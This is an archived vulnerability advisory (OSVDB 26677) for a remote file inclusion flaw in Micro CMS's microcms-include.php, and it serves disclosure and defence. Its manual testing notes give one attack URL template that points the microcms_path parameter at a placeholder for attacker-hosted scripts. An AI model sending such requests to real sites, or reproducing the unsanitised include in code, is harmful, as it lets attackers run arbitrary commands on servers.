Micro CMS microcms-include.php microcms_path Variable Remote File Inclusion

2006-06-19T09:49:00
ID OSVDB:26677
Type osvdb
Reporter CeNGiZ-HaN()
Modified 2006-06-19T09:49:00

Description

Vulnerability Description

Micro CMS contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to microcms-include.php not properly sanitizing user input supplied to the 'microcms_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

Micro CMS contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to microcms-include.php not properly sanitizing user input supplied to the 'microcms_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/micro_cms_path/micro_cms_files/microcms-include.php?microcms_path=[evil scripts]

References:

Vendor URL: http://www.impliedbydesign.com/ Secunia Advisory ID:20758 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0338.html Generic Exploit URL: http://milw0rm.com/exploits/1929 FrSIRT Advisory: ADV-2006-2446 CVE-2006-3144